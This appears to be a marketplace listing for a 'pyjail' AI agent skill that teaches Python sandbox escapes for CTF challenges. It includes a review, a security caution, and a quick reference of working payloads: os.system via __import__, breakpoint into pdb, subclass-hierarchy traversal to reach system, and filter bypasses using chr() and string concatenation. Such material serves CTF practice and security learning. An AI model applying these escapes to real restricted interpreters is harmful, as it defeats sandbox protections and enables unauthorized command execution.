Our review
This skill helps escape Python sandbox restrictions, such as in CTF challenges or filtered eval/exec environments.
Strengths
- Provides a systematic workflow to identify and bypass keyword/character filters.
- Offers proven techniques like class hierarchy traversal, encoding, and string concatenation.
- Includes detailed reference files for advanced bypasses and complete payloads.
Limitations
- Requires intermediate Python knowledge and understanding of the object model.
- May fail if the sandbox blocks access to the class hierarchy or builtins.
- Some modern environments may have patches against these common escapes.
Use this skill when facing a Python sandbox that restricts eval/exec or filtered input, and you need to execute arbitrary code.
Avoid this skill if the environment is not Python-based or if you already have unrestricted shell access.
Security analysis
CautionThe skill teaches techniques for escaping restricted Python interpreters to run shell commands. While intended for CTF challenges and educational use, these methods could be applied maliciously. No direct malicious payloads or destructive instructions are present, but the allowed Bash tool combined with these escape methods could lead to system compromise if abused.
- •Provides methods to bypass Python sandbox restrictions and execute arbitrary OS commands, which could be misused in unauthorized environments.
Examples
I'm in a Python jail that blocks the word 'os'. How can I execute a system command to read flag.txt?The sandbox blocks __import__ and builtins. Use class hierarchy to get a file read capability.Help me find the index of a callable subclass in Python's object hierarchy so I can spawn a shell.name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)
Security Audit Scanner
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Analyzes code to detect OWASP Top 10 vulnerabilities.
OWASP Security Checklist
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Generates application security checklists based on the OWASP Top 10.
Threat Model Generator
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Generates threat model documents with STRIDE analysis.